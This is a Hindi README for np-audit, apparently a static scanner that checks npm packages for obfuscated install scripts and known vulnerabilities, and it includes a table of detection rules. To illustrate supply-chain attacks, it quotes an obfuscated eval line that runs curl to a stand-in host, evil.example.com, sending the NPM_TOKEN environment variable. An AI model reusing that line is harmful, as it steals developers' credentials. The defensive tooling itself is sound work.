
npm पैकेजों के लिए स्थैतिक सुरक्षा विश्लेषण। स्थापना से पहले अस्पष्ट कोड, दुर्भावनापूर्ण पैटर्न और ज्ञात कमजोरियों का पता लगाता है।

npm पैकेजों के लिए स्थैतिक सुरक्षा विश्लेषण — ऑबफस्केटेड लाइफ़साइकल स्क्रिप्ट्स, ज्ञात भेद्यताओं और दुर्भावनापूर्ण पैटर्न का पता उनके चलने से पहले लगाता है। npm install और npm ci के लिए ड्रॉप-इन रिप्लेसमेंट।
शून्य निर्भरताएँ। केवल शुद्ध Node.js बिल्ट-इन। नेटवर्क पर < 100 kB।
npx np-audit scan express
npm install -g np-audit
npa scan # scan all deps
npa install # audit then install
alias npm='npa' # use as drop-in replacement
पहचान मॉड्यूलर मार्शलरों में विभाजित है — प्रत्येक एक एकल हमले के संकेत का पता लगाता है:
स्कोर गंभीरता के अनुसार बढ़ते हैं — ऑबफस्केशन संकेतकों की अधिक संख्या उच्च स्कोर उत्पन्न करती है। अंतिम निर्णय सभी मार्शलरों में सर्वोच्च व्यक्तिगत स्कोर पर आधारित होता है।
कस्टम मार्शलर लिखने के तरीके के लिए CONTRIBUTING.md देखें।
प्रत्येक स्कैन किया गया पैकेज कोड विश्लेषण के साथ-साथ ज्ञात भेद्यता डेटाबेस के विरुद्ध जाँचा जाता है।
डिफ़ॉल्ट: OSV.dev (कोई सेटअप आवश्यक नहीं)
बिना किसी सेटअप के काम करता है — ज्ञात भेद्यताओं और दुर्भावनापूर्ण पैकेज सलाहों के लिए मुफ्त OSV.dev API से पूछताछ करता है।
वैकल्पिक: Snyk API (समृद्ध डेटा)
# Environment variable
export SNYK_API_TOKEN=your-token-here
# Or via Snyk CLI
snyk auth
टोकन समाधान क्रम: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json
| गंभीरता | स्कोर |
|---|
गैर-दुर्भावनापूर्ण CVE चेतावनी उत्पन्न करते हैं लेकिन इंस्टॉलेशन को कभी अवरुद्ध नहीं करते। केवल पुष्टि किए गए दुर्भावनापूर्ण पैकेज DANGER ट्रिगर करते हैं।
कोई भी अपरिचित कमांड npm को अग्रेषित किया जाता है (जैसे npa run test, npa publish)।
--review मोडnpa install --review
npa --review mode
Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit
Found 3 package(s) with install scripts:
[✓ allow] [email protected] postinstall: post-install.js OK
▶ [✗ deny ] [email protected] postinstall: install.js DANGER (score: 9)
[✓ allow] @scope/[email protected] postinstall: install.js WARN (score: 5)
2 allowed 1 denied
कॉन्फ़िग ~/.npmauditor.json में संग्रहीत होता है (वैश्विक) और इसे प्रति-प्रोजेक्ट .npmauditor.json के साथ ओवरराइड किया जा सकता है।
npa config get # Show current config
npa config set blockScore 6 # Block at score 6+
npa config set skipPackages '["esbuild"]' # Trust specific packages
npa config set skipScopes '["@types"]' # Trust entire scopes
आप disabledMarshallers में उनके नाम जोड़कर विशिष्ट पहचान जाँचों को अक्षम कर सकते हैं:
npa config set disabledMarshallers '["process-env", "network-call"]'
सभी उपलब्ध मार्शलर नाम और उनकी वर्तमान स्थिति देखने के लिए:
npa config marshallers
यह तब उपयोगी होता है जब कोई मार्शलर आपके वर्कफ़्लो के लिए गलत सकारात्मक परिणाम उत्पन्न करता है। अक्षम मार्शलर स्थैतिक कोड विश्लेषण और पैकेज-स्तरीय जाँचों दोनों के दौरान पूरी तरह छोड़ दिए जाते हैं।
npa को पारदर्शी npm रिप्लेसमेंट के रूप में उपयोग करें:
npa alias --install # adds: alias npm='npa'
source ~/.zshrc # reload shell
अब npm install, npm ci स्वचालित रूप से स्कैन होते हैं। अन्य सभी npm कमांड (npm run, npm test, npm publish) अपरिवर्तित पास होते हैं।
npa alias --uninstall # remove the alias
package-lock.json (v1/v2/v3) या package.json से हल करेंnode_modules से पढ़ें)&&/||/;/| को विभाजित करता है, node -e, sh -c, शेल स्क्रिप्ट को संभालता हैrequire()/import ग्राफ़ (चक्र पहचान, 50 फ़ाइल / 5 MB कैप)सप्लाई चेन हमले npm लाइफ़साइकल स्क्रिप्ट का दुरुपयोग करते हैं। जब आप npm install चलाते हैं, तो कोई भी preinstall/install/postinstall स्क्रिप्ट स्वचालित रूप से चलती है। हमलावर पेलोड को ऑबफस्केशन के पीछे छिपाते हैं:
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
वास्तविक दुनिया की घटनाएँ:
npa स्क्रिप्ट को कभी निष्पादित नहीं करता। यह उन्हें डाउनलोड करके स्थैतिक रूप से विश्लेषण करता है।
| कोड | अर्थ |
|---|---|
0 | सब कुछ साफ या केवल चेतावनी |
1 | एक या अधिक पैकेज अवरुद्ध |
MIT
| मार्शलर | क्या पता लगाता है | स्कोर |
|---|
eval/dynamic-exec | eval(), new Function(), अप्रत्यक्ष eval, vm.*, स्ट्रिंग के साथ setTimeout | 8 |
obfuscator.io | _0x वेरिएबल नामकरण पैटर्न (obfuscator.io आउटपुट) | 9–80 |
high-entropy-string | उच्च Shannon एंट्रॉपी वाले लंबे स्ट्रिंग या कॉनकैटनेशन चेन | 6 |
hex-escape-density | सघन \xNN और \uXXXX एस्केप अनुक्रम | 5–50 |
fromCharCode | अनेक तर्कों के साथ String.fromCharCode, बड़े दशमलव char-code सरणियाँ | 7 |
encoded-decode | Base64/hex डिकोड (atob, Buffer.from) वैकल्पिक रूप से eval के साथ संयुक्त | 3–8 |
child-process | require('child_process'), exec, spawn, fork, worker_threads | 5 |
hex-array | बड़ी संख्या में 0x हेक्स लिटरल मान | 7–60 |
process-env | process.env एक्सेस (क्रेडेंशियल एक्सफ़िल्ट्रेशन संकेत) | 3 |
network-call | require('https'), fetch(), dns, net, tls | 4 |
filesystem-manipulation | fs.writeFile, chmod, symlink (बैकडोर स्थिरता) | 3–4 |
runtime-download | बाहरी रनटाइम (Bun, Deno) डाउनलोड और निष्पादित करता है | 9–50 |
vscode-autorun | runOn: folderOpen के साथ VS Code टास्क (स्वतः निष्पादन) | 30 |
known-vulnerability | Snyk API या OSV.dev के माध्यम से ज्ञात CVE | 4–6 (WARN), 80 (दुर्भावनापूर्ण) |
| निर्णय |
|---|
| दुर्भावनापूर्ण पैकेज | 80 | DANGER |
| 10+ भेद्यताएँ | 6 | WARN |
| 5–9 भेद्यताएँ | 5 | WARN |
| 1–4 भेद्यताएँ | 4 | WARN |
| कमांड | उपनाम | विवरण |
|---|
npa install [package] | npa i | ऑडिट करें फिर npm install चलाएँ |
npa ci | — | ऑडिट करें फिर npm ci चलाएँ |
npa scan [package] | npa s | केवल स्कैन करें, इंस्टॉल नहीं |
npa config get | npa c get | वर्तमान कॉन्फ़िगरेशन दिखाएँ |
npa config set <key> <value> | npa c set | कॉन्फ़िग मान अपडेट करें |
npa alias --install | — | शेल उपनाम स्थापित करें |
npa alias --uninstall | — | शेल उपनाम हटाएँ |
| फ़्लैग | उपनाम | इसके साथ काम करता है | विवरण |
|---|
--review | -r | install, ci | इंटरैक्टिव मोड — चुनें कि कौन सी स्क्रिप्ट की अनुमति देनी है |
--json | — | install, ci, scan | मशीन-पठनीय JSON आउटपुट |
--no-dev | — | install, ci, scan | devDependencies छोड़ें |
--verbose | — | सभी | फ़ेच प्रगति और अतिरिक्त विवरण दिखाएँ |
--version | -v | — | संस्करण प्रिंट करें और बाहर निकलें |
--help | -h | — | सहायता प्रिंट करें और बाहर निकलें |
| कुंजी | डिफ़ॉल्ट | विवरण |
|---|
blockScore | 7 | DANGER के लिए स्कोर सीमा (exit 1) |
warnScore | 4 | WARN के लिए स्कोर सीमा (exit 0) |
registry | https://registry.npmjs.org | npm रजिस्ट्री URL |
timeout | 30000 | HTTP अनुरोध टाइमआउट (ms) |
parallelFetches | 5 | समवर्ती डाउनलोड |
skipScopes | [] | छोड़ने के लिए @scope उपसर्ग |
skipPackages | [] | छोड़ने के लिए पैकेज नाम |
silent | false | कोई समस्या न मिलने पर आउटपुट दबाएँ |
scanSelf | true | स्वयं के प्रोजेक्ट लाइफ़साइकल स्क्रिप्ट स्कैन करें |
maxTarballSize | 50MB | अधिकतम अनपैक्ड टारबॉल आकार (बम सुरक्षा) |
checkVulnerabilities | true | पैकेजों को CVE डेटाबेस के विरुद्ध जाँचें |
deepResolve | false | पूर्ण ट्रांज़िटिव निर्भरता ट्री हल करें |
disabledMarshallers | [] | स्कैनिंग के दौरान छोड़ने के लिए मार्शलर नाम |